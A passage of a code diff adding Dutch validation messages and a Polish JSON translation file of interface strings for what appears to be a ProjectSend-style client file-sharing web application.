bevatten.', + 'file' => ':Attribute moet tussen :min en :max kilobytes zijn.', + 'numeric' => ':Attribute moet tussen :min en :max zijn.', + 'string' => ':Attribute moet tussen :min en :max karakters zijn.', + ], + 'boolean' => ':Attribute moet ja of nee zijn.', + 'can' => ':Attribute bevat een waarde waar je niet bevoegd voor bent.', + 'confirmed' => 'Bevestiging van :attribute komt niet overeen.', + 'contains' => ':Attribute mist een vereiste waarde.', + 'current_password' => 'Huidig wachtwoord is onjuist.', + 'date' => ':Attribute moet een datum bevatten.', + 'date_equals' => ':Attribute moet een datum gelijk aan :date zijn.', + 'date_format' => ':Attribute voldoet niet aan het formaat :format.', + 'decimal' => 'De :attribute moet :decimal decimalen hebben.', + 'declined' => ':Attribute moet afgewezen worden.', + 'declined_if' => ':Attribute moet afgewezen worden wanneer :other gelijk is aan :value.', + 'different' => ':Attribute en :other moeten verschillend zijn.', + 'digits' => ':Attribute moet bestaan uit :digits cijfers.', + 'digits_between' => ':Attribute moet bestaan uit minimaal :min en maximaal :max cijfers.', + 'dimensions' => ':Attribute heeft geen geldige afmetingen.', + 'distinct' => ':Attribute heeft een dubbele waarde.', + 'doesnt_contain' => 'Het veld :attribute mag geen van de volgende bevatten: :values.', + 'doesnt_end_with' => ':Attribute mag niet eindigen met één van de volgende waarden: :values.', + 'doesnt_start_with' => ':Attribute mag niet beginnen met één van de volgende waarden: :values.', + 'email' => ':Attribute is geen geldig e-mailadres.', + 'encoding' => ':Attribute moet gecodeerd zijn in :encoding.', + 'ends_with' => ':Attribute moet met één van de volgende waarden eindigen: :values.', + 'enum' => 'Gekozen :attribute is ongeldig.', + 'exists' => ':Attribute bestaat niet.', + 'extensions' => ':Attribute moet een van de volgende bestandsextensies hebben: :values.', + 'file' => ':Attribute moet een bestand zijn.', + 'filled' => ':Attribute is verplicht.', + 'gt' => [ + 'array' => ':Attribute moet meer dan :value waardes bevatten.', + 'file' => ':Attribute moet groter zijn dan :value kilobytes.', + 'numeric' => ':Attribute moet groter zijn dan :value.', + 'string' => ':Attribute moet meer dan :value tekens bevatten.', + ], + 'gte' => [ + 'array' => ':Attribute moet :value of meer waardes bevatten.', + 'file' => ':Attribute moet groter of gelijk zijn aan :value kilobytes.', + 'numeric' => ':Attribute moet groter of gelijk zijn aan :value.', + 'string' => ':Attribute moet minimaal :value tekens bevatten.', + ], + 'hex_color' => ':Attribute moet een geldige hexadecimale kleurcode zijn.', + 'image' => ':Attribute moet een afbeelding zijn.', + 'in' => ':Attribute is ongeldig.', + 'in_array' => ':Attribute bestaat niet in :other.', + 'in_array_keys' => 'Het veld :attribute moet minstens één van de volgende sleutels bevatten: :values.', + 'integer' => ':Attribute moet een getal zijn.', + 'ip' => ':Attribute moet een geldig IP-adres zijn.', + 'ipv4' => ':Attribute moet een geldig IPv4-adres zijn.', + 'ipv6' => ':Attribute moet een geldig IPv6-adres zijn.', + 'json' => ':Attribute moet een geldige JSON-string zijn.', + 'list' => 'Het veld :attribute moet een lijst zijn.', + 'lowercase' => ':Attribute mag alleen kleine letters bevatten.', + 'lt' => [ + 'array' => ':Attribute moet minder dan :value waardes bevatten.', + 'file' => ':Attribute moet kleiner zijn dan :value kilobytes.', + 'numeric' => ':Attribute moet kleiner zijn dan :value.', + 'string' => ':Attribute moet minder dan :value tekens bevatten.', + ], + 'lte' => [ + 'array' => ':Attribute moet :value of minder waardes bevatten.', + 'file' => ':Attribute moet kleiner of gelijk zijn aan :value kilobytes.', + 'numeric' => ':Attribute moet kleiner of gelijk zijn aan :value.', + 'string' => ':Attribute moet maximaal :value tekens bevatten.', + ], + 'mac_address' => ':Attribute moet een geldig MAC-adres zijn.', + 'max' => [ + 'array' => ':Attribute mag niet meer dan :max waardes bevatten.', + 'file' => ':Attribute mag niet meer dan :max kilobytes zijn.', + 'numeric' => ':Attribute mag niet hoger dan :max zijn.', + 'string' => ':Attribute mag niet uit meer dan :max tekens bestaan.', + ], + 'max_digits' => ':Attribute mag niet uit meer dan :max cijfers bestaan.', + 'mimes' => ':Attribute moet een bestand zijn van het bestandstype :values.', + 'mimetypes' => ':Attribute moet een bestand zijn van het bestandstype :values.', + 'min' => [ + 'array' => ':Attribute moet minimaal :min waardes bevatten.', + 'file' => ':Attribute moet minimaal :min kilobytes zijn.', + 'numeric' => ':Attribute moet minimaal :min zijn.', + 'string' => ':Attribute moet minimaal :min tekens zijn.', + ], + 'min_digits' => ':Attribute moet minimaal uit :min cijfers bestaan.', + 'missing' => 'Het veld :attribute moet ontbreken.', + 'missing_if' => 'Het veld :attribute moet ontbreken als :other :value is.', + 'missing_unless' => 'Het veld :attribute moet ontbreken, tenzij :other :value is.', + 'missing_with' => 'Het veld :attribute moet ontbreken wanneer :values aanwezig is.', + 'missing_with_all' => 'Het veld :attribute moet ontbreken wanneer er :values aanwezig zijn.', + 'multiple_of' => ':Attribute moet een veelvoud van :value zijn.', + 'not_in' => ':Attribute is ongeldig.', + 'not_regex' => 'Het formaat van :attribute is ongeldig.', + 'numeric' => ':Attribute moet een getal zijn.', + 'password' => [ + 'letters' => ':Attribute moet minimaal één letter bevatten.', + 'mixed' => ':Attribute moet minimaal één kleine letter en één hoofdletter bevatten.', + 'numbers' => ':Attribute moet minimaal één cijfer bevatten.', + 'symbols' => ':Attribute moet minimaal één vreemd teken bevatten.', + 'uncompromised' => 'Het opgegeven :attribute komt voor in een datalek. Kies een ander :attribute.', + ], + 'present' => ':Attribute moet aanwezig zijn.', + 'present_if' => ':Attribute moet aanwezig zijn als :other :value is.', + 'present_unless' => ':Attribute moet aanwezig zijn tenzij :other :value is.', + 'present_with' => ':Attribute moet aanwezig zijn als :values aanwezig is.', + 'present_with_all' => ':Attribute moet aanwezig zijn als :values aanwezig zijn.', + 'prohibited' => ':Attribute is niet toegestaan.', + 'prohibited_if' => ':Attribute is niet toegestaan indien :other gelijk is aan :value.', + 'prohibited_if_accepted' => 'Het veld :attribute is niet toegestaan wanneer :other is geaccepteerd.', + 'prohibited_if_declined' => 'Het veld :attribute is niet toegestaan wanneer :other is afgewezen.', + 'prohibited_unless' => ':Attribute is niet toegestaan tenzij :other gelijk is aan :values.', + 'prohibits' => ':Attribute is niet toegestaan in combinatie met :other.', + 'regex' => 'Het formaat van :attribute is ongeldig.', + 'required' => ':Attribute is verplicht.', + 'required_array_keys' => ':Attribute moet waardes bevatten voor :values.', + 'required_if' => ':Attribute is verplicht indien :other gelijk is aan :value.', + 'required_if_accepted' => ':Attribute is verplicht indien :other is geaccepteerd.', + 'required_if_declined' => ':Attribute is verplicht indien :other is geweigerd.', + 'required_unless' => ':Attribute is verplicht tenzij :other gelijk is aan :values.', + 'required_with' => ':Attribute is verplicht in combinatie met :values.', + 'required_with_all' => ':Attribute is verplicht in combinatie met :values.', + 'required_without' => ':Attribute is verplicht als :values niet ingevuld is.', + 'required_without_all' => ':Attribute is verplicht als :values niet ingevuld zijn.', + 'same' => ':Attribute en :other moeten overeenkomen.', + 'size' => [ + 'array' => ':Attribute moet :size waardes bevatten.', + 'file' => ':Attribute moet :size kilobytes groot zijn.', + 'numeric' => ':Attribute moet :size zijn.', + 'string' => ':Attribute moet :size tekens zijn.', + ], + 'starts_with' => ':Attribute moet beginnen met een van de volgende: :values.', + 'string' => ':Attribute moet een tekst zijn.', + 'timezone' => ':Attribute moet een geldige tijdzone zijn.', + 'ulid' => 'De :attribute moet een geldige ULID zijn.', + 'unique' => ':Attribute is al in gebruik.', + 'uploaded' => 'Het uploaden van :attribute is mislukt.', + 'uppercase' => ':Attribute mag alleen hoofdletters bevatten.', + 'url' => ':Attribute moet een geldige URL zijn.', + 'uuid' => ':Attribute moet een geldige UUID zijn.', + 'attributes' => [ + 'address' => 'adres', + 'affiliate_url' => 'partner-URL', + 'age' => 'leeftijd', + 'amount' => 'bedrag', + 'announcement' => 'aankondiging', + 'area' => 'gebied', + 'audience_prize' => 'publieksprijs', + 'audience_winner' => 'publiekswinnaar', + 'available' => 'beschikbaar', + 'birthday' => 'verjaardag', + 'body' => 'inhoud', + 'city' => 'stad', + 'color' => 'kleur', + 'company' => 'bedrijf', + 'compilation' => 'compilatie', + 'concept' => 'concept', + 'conditions' => 'voorwaarden', + 'content' => 'inhoud', + 'contest' => 'wedstrijd', + 'country' => 'land', + 'cover' => 'omslag', + 'created_at' => 'aangemaakt op', + 'creator' => 'maker', + 'currency' => 'valuta', + 'current_password' => 'huidig wachtwoord', + 'customer' => 'klant', + 'date' => 'datum', + 'date_of_birth' => 'geboortedatum', + 'dates' => 'datums', + 'day' => 'dag', + 'deleted_at' => 'verwijderd op', + 'description' => 'omschrijving', + 'display_type' => 'weergavetype', + 'district' => 'wijk', + 'duration' => 'tijdsduur', + 'email' => 'e-mailadres', + 'excerpt' => 'uittreksel', + 'filter' => 'filter', + 'finished_at' => 'klaar om', + 'first_name' => 'voornaam', + 'gender' => 'geslacht', + 'grand_prize' => 'grote prijs', + 'group' => 'groep', + 'hour' => 'uur', + 'image' => 'afbeelding', + 'image_desktop' => 'bureaubladafbeelding', + 'image_main' => 'hoofdafbeelding', + 'image_mobile' => 'mobiele afbeelding', + 'images' => 'afbeeldingen', + 'is_audience_winner' => 'is publiekswinnaar', + 'is_hidden' => 'is verborgen', + 'is_subscribed' => 'is geabonneerd', + 'is_visible' => 'is zichtbaar', + 'is_winner' => 'is winnaar', + 'items' => 'artikels', + 'key' => 'sleutel', + 'last_name' => 'achternaam', + 'lesson' => 'les', + 'line_address_1' => 'adresregel 1', + 'line_address_2' => 'adresregel 2', + 'login' => 'login', + 'message' => 'bericht', + 'middle_name' => 'tweede naam', + 'minute' => 'minuut', + 'mobile' => 'mobiel', + 'month' => 'maand', + 'name' => 'naam', + 'national_code' => 'landcode', + 'number' => 'nummer', + 'password' => 'wachtwoord', + 'password_confirmation' => 'wachtwoordbevestiging', + 'phone' => 'telefoonnummer', + 'photo' => 'foto', + 'portfolio' => 'portfolio', + 'postal_code' => 'postcode', + 'preview' => 'voorbeeld', + 'price' => 'prijs', + 'product_id' => 'product-ID', + 'product_uid' => 'product-UID', + 'product_uuid' => 'product-UUID', + 'promo_code' => 'promo-code', + 'province' => 'provincie', + 'quantity' => 'hoeveelheid', + 'reason' => 'reden', + 'recaptcha_response_field' => 'recaptcha-antwoordveld', + 'referee' => 'scheidsrechter', + 'referees' => 'scheidsrechters', + 'region' => 'regio', + 'reject_reason' => 'afwijsreden', + 'remember' => 'onthouden', + 'restored_at' => 'hersteld op', + 'result_text_under_image' => 'antwoord tekst onder afbeelding', + 'role' => 'rol', + 'rule' => 'regel', + 'rules' => 'regels', + 'second' => 'seconde', + 'sex' => 'geslacht', + 'shipment' => 'verzending', + 'short_text' => 'korte tekst', + 'size' => 'grootte', + 'skills' => 'vaardigheden', + 'slug' => 'slug', + 'specialization' => 'specialisatie', + 'started_at' => 'gestart op', + 'state' => 'staat', + 'status' => 'status', + 'street' => 'straat', + 'student' => 'leerling', + 'subject' => 'onderwerp', + 'tag' => 'label', + 'tags' => 'labels', + 'teacher' => 'docent', + 'terms' => 'voorwaarden', + 'test_description' => 'testomschrijving', + 'test_locale' => 'testlandinstelling', + 'test_name' => 'testnaam', + 'text' => 'tekst', + 'time' => 'tijd', + 'title' => 'titel', + 'type' => 'type', + 'updated_at' => 'bijgewerkt op', + 'user' => 'gebruiker', + 'username' => 'gebruikersnaam', + 'value' => 'waarde', + 'winner' => 'winnaar', + 'work' => 'werk', + 'year' => 'jaar', + ], +]; diff --git a/lang/pl.json b/lang/pl.json new file mode 100644 index 00000000..cb14ad22 --- /dev/null +++ b/lang/pl.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName przesłał(a) \":itemName\"", + ":count accounts have this role": "Kont z tą rolą: :count", + ":count awaiting approval": "Oczekujących na zatwierdzenie: :count", + ":count downloads": "Pobrania: :count", + ":count file deleted.|:count files deleted.": "Usunięto :count plik.|Usunięto :count plików.", + ":count file imported.|:count files imported.": "Zaimportowano :count plik.|Zaimportowano :count plików.", + ":count files": "Pliki: :count", + ":count folders": "Foldery: :count", + ":count items have been shared with you": "Liczba udostępnionych Ci elementów: :count", + ":count members": "Członkowie: :count", + ":count selected": "Zaznaczono: :count", + ":files files": "Pliki: :files", + ":itemName was shared with you": "Udostępniono Ci :itemName", + ":name will not be added to the group \":group\".": ":name nie zostanie dodany(a) do grupy \":group\".", + ":total total": "Łącznie: :total", + ":used / :limit downloads": "Pobrania: :used / :limit", + ":used MB of :quota MB used": "Wykorzystano :used MB z :quota MB", + ":used MB used, no limit": "Wykorzystano :used MB, bez limitu", + "(and :count more error)": "(i jeszcze :count błąd)", + "(and :count more errors)": "(i jeszcze :count błąd)|(i jeszcze :count błędy)|(i jeszcze :count błędów)", + "(deleted account)": "(usunięte konto)", + "0 means unlimited.": "0 oznacza brak limitu.", + "A client account request was approved": "Zatwierdzono wniosek o konto klienta", + "A client account request was denied": "Odrzucono wniosek o konto klienta", + "A client left a group": "Klient opuścił grupę", + "A client registered an account": "Klient zarejestrował konto", + "A client requested to join a group": "Klient poprosił o dołączenie do grupy", + "A client uploaded a file": "Klient przesłał plik", + "A client was added to a group": "Dodano klienta do grupy", + "A client was removed from a group": "Usunięto klienta z grupy", + "A decryption key is required.": "Wymagany jest klucz deszyfrujący.", + "A file assignment was removed": "Cofnięto przypisanie pliku", + "A file has been shared with you": "Udostępniono Ci plik", + "A file or folder was shared with you": "Udostępniono Ci plik lub folder", + "A file was assigned": "Przypisano plik", + "A file was deleted": "Usunięto plik", + "A file was downloaded": "Pobrano plik", + "A file was downloaded via a public link": "Pobrano plik przez link publiczny", + "A file was downloaded via the public group listing": "Pobrano plik przez publiczną listę grup", + "A file was updated": "Zaktualizowano plik", + "A file was uploaded": "Przesłano plik", + "A folder cannot be moved into itself.": "Folder nie może zostać przeniesiony do samego siebie.", + "A folder has been shared with you": "Udostępniono Ci folder", + "A folder was created": "Utworzono folder", + "A folder was deleted": "Usunięto folder", + "A folder was moved": "Przeniesiono folder", + "A folder was renamed": "Zmieniono nazwę folderu", + "A folder was shared": "Udostępniono folder", + "A folder was unshared": "Cofnięto udostępnienie folderu", + "A group membership request was approved": "Zatwierdzono wniosek o członkostwo w grupie", + "A group membership request was denied": "Odrzucono wniosek o członkostwo w grupie", + "A group membership was requested": "Złożono wniosek o członkostwo w grupie", + "A group was created": "Utworzono grupę", + "A group was deleted": "Usunięto grupę", + "A group was updated": "Zaktualizowano grupę", + "A new client account was created: :name (:email).": "Utworzono nowe konto klienta: :name (:email).", + "A new client has registered": "Zarejestrował się nowy klient", + "A new ProjectSend version is available": "Dostępna jest nowa wersja ProjectSend", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "Strona grupy publicznej jest zawsze dostępna pod własnym linkiem, gdy oznaczysz ją jako publiczną — ta sekcja steruje wyłącznie adresem bazowym oraz opcjonalnym katalogiem, który pokazuje naraz wszystkie publiczne grupy i pliki.", + "A public link was created": "Utworzono link publiczny", + "A public link was revoked": "Unieważniono link publiczny", + "A role was created": "Utworzono rolę", + "A role was deleted": "Usunięto rolę", + "A role was updated": "Zaktualizowano rolę", + "A Timeout Occurred": "Wystąpił limit czasu", + "About": "O programie", + "Accept": "Akceptuj", + "Accepted": "Zaakceptowano", + "Account": "Konto", + "Account deletion grace period (days)": "Okres karencji przed usunięciem konta (dni)", + "Account is active": "Konto jest aktywne", + "Account Manager": "Opiekun klienta", + "Account request approved.": "Wniosek o konto zatwierdzony.", + "Account request denied.": "Wniosek o konto odrzucony.", + "Account requests": "Wnioski o konto", + "Account settings": "Ustawienia konta", + "Account type": "Typ konta", + "Accounts": "Konta", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Konta objęte tym wymogiem muszą skonfigurować uwierzytelnianie dwuskładnikowe, zanim będą mogły dalej korzystać z aplikacji.", + "Action": "Działanie", + "Actions": "Działania", + "Activate": "Aktywuj", + "Activated the account \":subject\"": "Aktywował(a) konto \":subject\"", + "Activating this account approves its pending request.": "Aktywacja tego konta zatwierdza powiązany z nim oczekujący wniosek.", + "Active": "Aktywne", + "Activity": "Aktywność", + "Activity log": "Dziennik aktywności", + "Add": "Dodaj", + "Add :name": "Dodaj :name", + "Add a category": "Dodaj kategorię", + "Add a client": "Dodaj klienta", + "Add a second step to your login using an authenticator app.": "Dodaj drugi krok logowania za pomocą aplikacji uwierzytelniającej.", + "Add new clients to this group": "Dodaj nowych klientów do tej grupy", + "Added \":member\" to the group \":subject\"": "Dodał(a) \":member\" do grupy \":subject\"", + "Admin": "Administrator", + "Admin notification recipients": "Odbiorcy powiadomień administracyjnych", + "Admin: client uploaded a file": "Administracja: klient przesłał plik", + "Admin: group membership requested": "Administracja: złożono wniosek o członkostwo w grupie", + "Admin: new client registered": "Administracja: zarejestrował się nowy klient", + "Administration": "Administracja", + "After uploading you can assign it to clients and groups": "Po przesłaniu możesz przypisać go klientom i grupom", + "Agree": "Zgadzam się", + "All": "Wszystkie", + "All actions": "Wszystkie działania", + "All categories": "Wszystkie kategorie", + "All clients": "Wszyscy klienci", + "All comments": "Wszystkie komentarze", + "All failed jobs deleted.": "Wszystkie nieudane zadania zostały usunięte.", + "All files": "Wszystkie pliki", + "All groups": "Wszystkie grupy", + "All permissions": "Wszystkie uprawnienia", + "All rights reserved.": "Wszelkie prawa zastrzeżone.", + "All roles": "Wszystkie role", + "All statuses": "Wszystkie statusy", + "All system users": "Wszyscy użytkownicy systemu", + "All types": "Wszystkie typy", + "Already have an account?": "Masz już konto?", + "Already Reported": "Już zgłoszone", + "Always": "Zawsze", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Utworzono dla Ciebie konto. Możesz się już zalogować.", + "An account was activated": "Aktywowano konto", + "An account was created": "Utworzono konto", + "An account was deactivated": "Dezaktywowano konto", + "An account was deleted": "Usunięto konto", + "An account was permanently erased": "Trwale wymazano konto", + "An account was updated": "Zaktualizowano konto", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Administrator usuwający konto jest o to pytany za każdym razem; automatyczne usuwanie kont skasowanych przez ich właścicieli działa bez nadzoru i kieruje się tym wyborem, więc nic nigdy nie zostaje bez właściciela.", + "An administrator will review your group requests.": "Administrator rozpatrzy Twoje wnioski o grupy.", + "An orphan file was deleted": "Usunięto osierocony plik", + "An orphan file was imported": "Zaimportowano osierocony plik", + "An overview of this installation": "Przegląd tej instalacji", + "Any audience": "Dowolni odbiorcy", + "Anyone": "Każdy", + "Anyone using it will no longer be able to download the file.": "Nikt, kto go używa, nie pobierze już tego pliku.", + "Appearance": "Wygląd", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Dotyczy publicznych stron grup i plików dla odwiedzających oraz portalu klienta „Moje pliki”.", + "Apply filters": "Zastosuj filtry", + "Approve": "Zatwierdź", + "Approve account requests": "Zatwierdzanie wniosków o konto", + "Approve group membership requests": "Zatwierdzanie wniosków o członkostwo w grupach", + "Approved the account request of \":subject\"": "Zatwierdził(a) wniosek o konto od \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "Zatwierdził(a) członkostwo \":member\" w grupie \":subject\"", + "Archive": "Archiwizuj", + "Are deleted along with the account": "Zostają usunięte razem z kontem", + "Are reassigned to another account": "Zostają przypisane do innego konta", + "Are you sure you want to delete your account?": "Czy na pewno chcesz usunąć swoje konto?", + "Assign": "Przydziel", + "Assign categories to files": "Przypisywanie kategorii do plików", + "Assigned": "Przypisano", + "Assigned clients": "Przypisani klienci", + "Assigned the file \":subject\" to :target": "Przypisał(a) plik \":subject\" do :target", + "Associate": "Współpracownik", + "Attach": "Dołącz", + "Audience": "Odbiorcy", + "Authentication code": "Kod uwierzytelniający", + "Authentication requirements for this installation": "Wymagania uwierzytelniania dla tej instalacji", + "Author": "Autor", + "Available groups": "Dostępne grupy", + "Available placeholders": "Dostępne symbole zastępcze", + "Back to My files": "Powrót do Moich plików", + "Bad Gateway": "Zła brama", + "Bad Request": "Nieprawidłowe żądanie", + "Bandwidth Limit Exceeded": "Przekroczono limit transferu danych", + "Blue": "Niebieski", + "Body": "Treść wiadomości", + "Browse": "Przeglądaj", + "Browse publicly shared groups and files below.": "Przeglądaj poniżej publicznie udostępnione grupy i pliki.", + "Built-in": "Wbudowana", + "Built-in role names cannot be changed.": "Nazw wbudowanych ról nie można zmieniać.", + "Built-in roles cannot be deleted.": "Wbudowanych ról nie można usuwać.", + "Call to action": "Wezwanie do działania", + "Cancel": "Anuluj", + "Categories": "Kategorie", + "Category": "Kategoria", + "Category created.": "Utworzono kategorię.", + "Category deleted.": "Usunięto kategorię.", + "Category updated.": "Zaktualizowano kategorię.", + "Changed their password": "Zmienił(a) swoje hasło", + "Checkbox": "Pole wyboru", + "Checksum (SHA-256)": "Suma kontrolna (SHA-256)", + "Choose": "Wybierz", + "Choose :name": "Wybierz :name", + "Choose an account…": "Wybierz konto…", + "Choose File": "Wybierz Plik", + "Choose Image": "Wybierz obraz", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Wybierz, które powiadomienia mają też przychodzić e-mailem. Wszystko i tak zawsze pojawia się w dzwonku powiadomień.", + "Clear": "Wyczyść", + "Click to copy": "Kliknij, aby skopiować", + "Client": "Klient", + "Client account approved": "Konto klienta zatwierdzone", + "Client account denied": "Konto klienta odrzucone", + "Client account edited": "Konto klienta zmienione", + "Client Closed Request": "Zamknięte żądanie klienta", + "Client created.": "Utworzono klienta.", + "Client deleted.": "Usunięto klienta.", + "Client Manager": "Menedżer klientów", + "Client settings": "Ustawienia klientów", + "Client updated.": "Zaktualizowano klienta.", + "Client welcome (staff-created account)": "Powitanie klienta (konto utworzone przez zespół)", + "Clients": "Klienci", + "Clients and groups that can download this file": "Klienci i grupy, które mogą pobrać ten plik", + "Clients asking to join groups": "Klienci proszący o dołączenie do grup", + "Clients who registered themselves and are waiting for approval": "Klienci, którzy zarejestrowali się sami i czekają na zatwierdzenie", + "Close": "Zamknij", + "Collapse": "Zwiń", + "Collapse All": "Zwiń wszystko", + "Color": "Kolor", + "Columns": "Kolumny", + "Comment": "Skomentuj", + "Confirm": "Potwierdź", + "Confirm password": "Potwierdź hasło", + "Conflict": "Konflikt", + "Connect": "Połącz", + "Connection Closed Without Response": "Połączenie zamknięte bez odpowiedzi", + "Connection Timed Out": "Przekroczono limit czasu połączenia", + "Continue": "Kontynuuj", + "Copy URL": "Kopiuj adres URL", + "Copy link": "Kopiuj link", + "Counters": "Liczniki", + "Create": "Utwórz", + "Create :name": "Utwórz :name", + "Create a client account": "Utwórz konto klienta", + "Create a public link": "Utwórz link publiczny", + "Create a staff account for this installation": "Utwórz konto zespołu dla tej instalacji", + "Create administrator account": "Utwórz konto administratora", + "Create an account for someone you share files with": "Utwórz konto dla osoby, z którą dzielisz się plikami", + "Create categories": "Tworzenie kategorii", + "Create category": "Utwórz kategorię", + "Create client": "Utwórz klienta", + "Create clients": "Tworzenie klientów", + "Create custom assets": "Tworzenie własnych zasobów", + "Create field": "Utwórz pole", + "Create folder": "Utwórz folder", + "Create group": "Utwórz grupę", + "Create groups": "Tworzenie grup", + "Create link": "Utwórz link", + "Create own folders": "Tworzenie własnych folderów", + "Create role": "Utwórz rolę", + "Create system users": "Tworzenie użytkowników systemu", + "Create user": "Utwórz użytkownika", + "Created": "Utworzono", + "Created a public link for the file \":subject\"": "Utworzył(a) link publiczny do pliku \":subject\"", + "Created by": "Utworzone przez", + "Created the account \":subject\"": "Utworzył(a) konto \":subject\"", + "Created the folder \":subject\"": "Utworzył(a) folder \":subject\"", + "Created the group \":subject\"": "Utworzył(a) grupę \":subject\"", + "Created the role \":subject\"": "Utworzył(a) rolę \":subject\"", + "Custom": "Własne", + "Custom assets": "Własne zasoby", + "Custom fields": "Pola niestandardowe", + "Custom links with an optional expiration date or download limit, no account needed.": "Linki na miarę, z opcjonalną datą wygaśnięcia lub limitem pobrań, bez potrzeby zakładania konta.", + "Custom roles let you grant a precise set of permissions": "Role niestandardowe pozwalają przyznać dokładnie taki zestaw uprawnień, jaki chcesz", + "Custom SMTP": "Własny SMTP", + "Customize the wording of any transactional email sent by this installation.": "Dostosuj treść każdej wiadomości transakcyjnej wysyłanej przez tę instalację.", + "Customized": "Dostosowane", + "Dark": "Ciemny", + "Dashboard": "Pulpit", + "Dashboard widgets": "Widżety pulpitu", + "Data retention and visibility for this installation": "Przechowywanie danych i widoczność w tej instalacji", + "Database": "Baza danych", + "Date": "Data", + "Days before a denied membership request can be made again": "Dni, po których można ponowić odrzucony wniosek o członkostwo", + "Deactivate your account now; it is permanently erased after :days days": "Dezaktywuj konto teraz; zostanie trwale wymazane po :days dniach", + "Deactivated the account \":subject\"": "Dezaktywował(a) konto \":subject\"", + "Default": "Domyślne", + "Defaults to the file name.": "Domyślnie nazwa pliku.", + "Delete": "Usuń", + "Delete :name": "Usuń :name", + "Delete account": "Usuń konto", + "Delete all": "Usuń wszystkie", + "Delete all failed": "Usuń wszystkie nieudane", + "Delete all failed jobs?": "Usunąć wszystkie nieudane zadania?", + "Delete categories": "Usuwanie kategorii", + "Delete category": "Usuń kategorię", + "Delete category?": "Usunąć kategorię?", + "Delete client": "Usuń klienta", + "Delete client?": "Usunąć klienta?", + "Delete clients": "Usuwanie klientów", + "Delete custom assets": "Usuwanie własnych zasobów", + "Delete field": "Usuń pole", + "Delete field?": "Usunąć pole?", + "Delete file": "Usuń plik", + "Delete file?": "Usunąć plik?", + "Delete files": "Usuwanie plików", + "Delete folder": "Usuń folder", + "Delete folder?": "Usunąć folder?", + "Delete group": "Usuń grupę", + "Delete group?": "Usunąć grupę?", + "Delete groups": "Usuwanie grup", + "Delete others' files": "Usuwanie cudzych plików", + "Delete own files": "Usuwanie własnych plików", + "Delete role": "Usuń rolę", + "Delete role?": "Usunąć rolę?", + "Delete selected": "Usuń zaznaczone", + "Delete selected files?": "Usunąć zaznaczone pliki?", + "Delete system users": "Usuwanie użytkowników systemu", + "Delete this file?": "Usunąć ten plik?", + "Delete user": "Usuń użytkownika", + "Delete user?": "Usunąć użytkownika?", + "Deleted account": "Usunięte konto", + "Deleted the account \":name\"": "Usunął(-ęła) konto \":name\"", + "Deleted the file \":name\"": "Usunął(-ęła) plik \":name\"", + "Deleted the folder \":name\" and its contents": "Usunął(-ęła) folder \":name\" wraz z zawartością", + "Deleted the group \":name\"": "Usunął(-ęła) grupę \":name\"", + "Deleted the orphan file \":name\"": "Usunął(-ęła) osierocony plik \":name\"", + "Deleted the role \":name\"": "Usunął(-ęła) rolę \":name\"", + "Denied the account request of \":name\"": "Odrzucił(a) wniosek o konto od \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "Odrzucił(a) członkostwo \":member\" w grupie \":subject\"", + "Deny": "Odrzuć", + "Deny this request?": "Odrzucić ten wniosek?", + "Description": "Opis", + "Description (optional)": "Opis (opcjonalnie)", + "Detach": "Odłącz", + "Details": "Szczegóły", + "Disable": "Wyłącz", + "Disable two-factor authentication?": "Wyłączyć uwierzytelnianie dwuskładnikowe?", + "Disabled two-factor authentication": "Wyłączył(a) uwierzytelnianie dwuskładnikowe", + "Discard": "Odrzuć", + "Discourage search engines from indexing this site": "Zniechęcaj wyszukiwarki do indeksowania tej witryny", + "Dismiss": "Zamknij", + "Documentation": "Dokumentacja", + "Don't have an account?": "Nie masz konta?", + "Done": "Gotowe", + "Down": "W dół", + "Download": "Pobierz", + "Download as zip": "Pobierz jako ZIP", + "Downloaded the file \":subject\"": "Pobrał(a) plik \":subject\"", + "Downloaded the file \":subject\" via a public link": "Pobrał(a) plik \":subject\" przez link publiczny", + "Downloaded the file \":subject\" via the public group listing": "Pobrał(a) plik \":subject\" przez publiczną listę grup", + "Downloads": "Pobrania", + "Downloads are never recorded with an IP address.": "Pobrania nigdy nie są zapisywane z adresem IP.", + "Drag to reorder": "Przeciągnij, aby zmienić kolejność", + "Drag widgets here": "Przeciągnij tutaj widżety", + "Dropdown": "Lista rozwijana", + "Duplicate": "Duplikuj", + "Duplicate :name": "Duplikuj :name", + "Edit": "Edytuj", + "Edit :name": "Edytuj :name", + "Edit categories": "Edytowanie kategorii", + "Edit clients": "Edytowanie klientów", + "Edit custom assets": "Edytowanie własnych zasobów", + "Edit email templates": "Edytowanie szablonów e-mail", + "Edit groups": "Edytowanie grup", + "Edit others' files": "Edytowanie cudzych plików", + "Edit own files": "Edytowanie własnych plików", + "Edit system settings": "Edytowanie ustawień systemu", + "Edit system users": "Edytowanie użytkowników systemu", + "Edit this client account": "Edytuj to konto klienta", + "Edit this staff account": "Edytuj to konto zespołu", + "Edition": "Edycja", + "Email": "E-mail", + "Email address": "Adres e-mail", + "Email settings": "Ustawienia e-mail", + "Email template reset to default.": "Przywrócono domyślną treść szablonu e-mail.", + "Email template saved.": "Zapisano szablon e-mail.", + "Email templates": "Szablony e-mail", + "Empty file": "Pusty plik", + "Enable": "Włącz", + "Enable the public directory page": "Włącz stronę katalogu publicznego", + "Enable two-factor authentication": "Włącz uwierzytelnianie dwuskładnikowe", + "Enabled two-factor authentication": "Włączył(a) uwierzytelnianie dwuskładnikowe", + "Encrypted environment file already exists.": "Zaszyfrowany plik konfiguracji środowiska już istnieje.", + "Encrypted environment file not found.": "Nie znaleziono zaszyfrowanego pliku konfiguracji środowiska.", + "Encryption": "Szyfrowanie", + "Enter one of your recovery codes.": "Wprowadź jeden ze swoich kodów odzyskiwania.", + "Enter the six-digit code from your authenticator app.": "Wprowadź sześciocyfrowy kod z aplikacji uwierzytelniającej.", + "Enter your email and password below to log in": "Wpisz poniżej swój adres e-mail i hasło, aby się zalogować", + "Environment": "Środowisko", + "Environment file already exists.": "Plik konfiguracji środowiska już 